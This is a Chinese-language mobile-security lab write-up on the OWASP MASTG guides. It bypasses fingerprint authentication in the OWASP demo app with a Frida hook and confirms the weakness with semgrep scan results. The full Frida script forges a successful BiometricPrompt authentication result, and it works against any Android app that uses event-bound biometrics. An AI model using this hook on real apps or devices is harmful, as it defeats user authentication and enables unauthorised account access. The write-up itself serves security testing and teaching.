该网站主要围绕以下三大支柱展开,为开发者和安全审计人员提供指导:
MASVS (移动应用安全验证标准): 定义了移动 App 的核心安全要求,涵盖了数据存储 (Storage)、密码学 (Crypto)、身份验证 (Auth)、网络通信 (Network)、平台交互 (Platform)、代码质量 (Code) 以及抗逆向与防篡改 (Resilience) 等多个维度。
MASTG (移动应用安全测试指南): 一套极其详尽的实战手册,手把手教你如何对 Android 和 iOS 应用进行逆向工程、动态调试、静态分析以及漏洞利用,并给出了具体的测试用例和防护建议。
MASWE (移动应用安全弱点枚举): 梳理并归纳了移动端特有的常见安全漏洞与隐私弱点(类似于移动端专属的 CWE)。
对于从事移动端逆向工程、动态调试(如使用 Frida、IDA 等工具)、安全审计或安全开发的专业人员来说,这是目前业内最权威、最系统化的参考指南。
该课题为指纹识别漏洞
解释如下,即未绑定硬件,软认证是可以被hook的


firda脚本
bash
Java.perform(function () {
var BiometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt');
var Integer = Java.use('java.lang.Integer');
BiometricPrompt.authenticate.overload(
'android.os.CancellationSignal',
'java.util.concurrent.Executor',
'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback'
).implementation = function (cancellationSignal, executor, callback) {
console.log("[+] 检测到 App 发起了指纹验证请求...");
var authResult = null;
try {
var AuthenticationResultClass = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');
var constructors = AuthenticationResultClass.class.getDeclaredConstructors();
for (var i = 0; i < constructors.length; i++) {
var c = constructors[i];
c.setAccessible(true);
var paramTypes = c.getParameterTypes();
console.log("[*] 构造函数[" + i + "] 参数类型: " + paramTypes.map(function(t){return t.getName();}).join(", "));
try {
if (paramTypes.length === 2) {
// (CryptoObject, int) -> box the int
authResult = c.newInstance([null, Integer.valueOf(0)]);
} else if (paramTypes.length === 3) {
// (CryptoObject, int, int) or (CryptoObject, int, Object) depending on API level
authResult = c.newInstance([null, Integer.valueOf(0), Integer.valueOf(0)]);
} else if (paramTypes.length === 1) {
authResult = c.newInstance([null]);
}
if (authResult !== null) break;
} catch (innerErr) {
console.log("[-] 构造函数[" + i + "] 尝试失败: " + innerErr);
authResult = null;
continue; // try the next constructor instead of bailing out
}
}
} catch (e) {
console.log("[-] 反射整体失败: " + e);
}
if (authResult !== null) {
console.log("[+] 成功伪造非空的 AuthenticationResult 实例!");
callback.onAuthenticationSucceeded(authResult);
} else {
console.log("[-] 依然无法构造实例。");
}
};
});
启动脚本
bash
.\frida_env\Scripts\activate
frida -U -f org.owasp.mastestapp -l bypass_bio.js
OR
uv run frida -U -f org.owasp.mastestapp -l bypass_bio.js
(frida_env) PS D:\FridaWorkSpace> frida -U -f org.owasp.mastestapp -l bypass_bio.js
____
/ _ | Frida 17.9.8 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://frida.re/docs/home/
. . . .
. . . . Connected to Android Emulator 5554 (id=emulator-5554)
Spawned `org.owasp.mastestapp`. Resuming main thread!
[Android Emulator 5554::org.owasp.mastestapp ]-> [+] 检测到 App 发起了指纹验证请求...
[*] 构造函数[0] 参数类型: android.hardware.biometrics.BiometricPrompt$CryptoObject, int
[+] 成功伪造非空的 AuthenticationResult 实例!

成功绕过指纹验证,即未走硬件绑定
jadx源码导出

漏洞扫描
bash
# 安装脚本
uv tool install semgrep
OR
python -m pip install semgrep
# 扫描当前目录
semgrep --config="https://raw.githubusercontent.com/OWASP/mastg/master/rules/mastg-android-biometric-event-bound.yml" D:\IdaproWorkSpace\MASTG-DEMO-0090.apk\sources\org\owasp\mastestapp
# 简单扫描
semgrep --config=p/default D:\IdaproWorkSpace\MASTG-DEMO-0090.apk\sources\org\owasp\mastestapp\MastgTest.java
# 导出为结构化 JSON 文件
semgrep --json --config="https://raw.githubusercontent.com/OWASP/mastg/master/rules/mastg-android-biometric-event-bound.yml" D:\IdaproWorkSpace\MASTG-DEMO-0090.apk\sources\org\owasp\mastestapp -o output.json
输出结果如下
bash
{
"version": "1.171.0",
"results": [
{
"check_id": "mastg-android-biometric-event-bound",
"path": "D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MastgTest.java",
"start": {
"line": 63,
"col": 27,
"offset": 4188
},
"end": {
"line": 63,
"col": 76,
"offset": 4237
},
"extra": {
"message": "[MASVS-AUTH-2] BiometricPrompt.authenticate called without a CryptoObject or key not requiring user authentication. Use authenticate(PromptInfo, CryptoObject) with a keystore-backed key configured with setUserAuthenticationRequired(true) for sensitive operations.",
"metadata": {
"summary": "This rule detects uses of BiometricPrompt.authenticate without a CryptoObject (event-bound biometric authentication) and insecure key configurations."
},
"severity": "WARNING",
"fingerprint": "requires login",
"lines": "requires login",
"validation_state": "NO_VALIDATOR",
"engine_kind": "OSS"
}
},
{
"check_id": "mastg-android-biometric-event-bound",
"path": "D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MastgTest.java",
"start": {
"line": 150,
"col": 9,
"offset": 10425
},
"end": {
"line": 177,
"col": 11,
"offset": 12490
},
"extra": {
"message": "[MASVS-AUTH-2] BiometricPrompt.authenticate called without a CryptoObject or key not requiring user authentication. Use authenticate(PromptInfo, CryptoObject) with a keystore-backed key configured with setUserAuthenticationRequired(true) for sensitive operations.",
"metadata": {
"summary": "This rule detects uses of BiometricPrompt.authenticate without a CryptoObject (event-bound biometric authentication) and insecure key configurations."
},
"severity": "WARNING",
"fingerprint": "requires login",
"lines": "requires login",
"validation_state": "NO_VALIDATOR",
"engine_kind": "OSS"
}
}
],
"errors": [],
"paths": {
"scanned": [
"D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\BaseScreenKt.java",
"D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\ComposableSingletons$BaseScreenKt.java",
"D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\ComposableSingletons$MainActivityKt.java",
"D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\ComposableSingletons$MainActivityWebViewKt.java",
"D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\DemoResult$$serializer.java",
"D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\DemoResult.java",
"D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\DemoResults.java",
"D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MainActivity.java",
"D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MainActivityKt.java",
"D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MainActivityWebView.java",
"D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MainActivityWebViewKt.java",
"D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MastgTest.java",
"D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MastgTestWebView.java",
"D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\R.java",
"D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\Status.java"
]
},
"time": {
"rules": [],
"rules_parse_time": 0.022849082946777344,
"profiling_times": {
"config_time": 0.6490864753723145,
"core_time": 0.43653345108032227,
"ignores_time": 0.0,
"total_time": 1.1039011478424072
},
"parsing_time": {
"total_time": 0.0,
"per_file_time": {
"mean": 0.0,
"std_dev": 0.0
},
"very_slow_stats": {
"time_ratio": 0.0,
"count_ratio": 0.0
},
"very_slow_files": []
},
"scanning_time": {
"total_time": 0.056032657623291016,
"per_file_time": {
"mean": 0.003735510508219401,
"std_dev": 0.00016091949039390675
},
"very_slow_stats": {
"time_ratio": 0.0,
"count_ratio": 0.0
},
"very_slow_files": []
},
"matching_time": {
"total_time": 0.0,
"per_file_and_rule_time": {
"mean": 0.0,
"std_dev": 0.0
},
"very_slow_stats": {
"time_ratio": 0.0,
"count_ratio": 0.0
},
"very_slow_rules_on_files": []
},
"tainting_time": {
"total_time": 0.0,
"per_def_and_rule_time": {
"mean": 0.0,
"std_dev": 0.0
},
"very_slow_stats": {
"time_ratio": 0.0,
"count_ratio": 0.0
},
"very_slow_rules_on_defs": []
},
"fixpoint_timeouts": [],
"prefiltering": {
"project_level_time": 0.0,
"file_level_time": 0.0,
"rules_with_project_prefilters_ratio": 0.0,
"rules_with_file_prefilters_ratio": 1.0,
"rules_selected_ratio": 0.06666666666666667,
"rules_matched_ratio": 0.06666666666666667
},
"targets": [],
"total_bytes": 0,
"max_memory_bytes": 182667584
},
"engine_requested": "OSS",
"skipped_rules": [],
"profiling_results": []
}
行数完美对应


最后别忘了启动frida-server
bash
C:\Users\HiMaq>adb shell
unicorn:/ $ su
./data/local/tmp/frida-server-17.9.8-android-x86_64 &
[1] 2548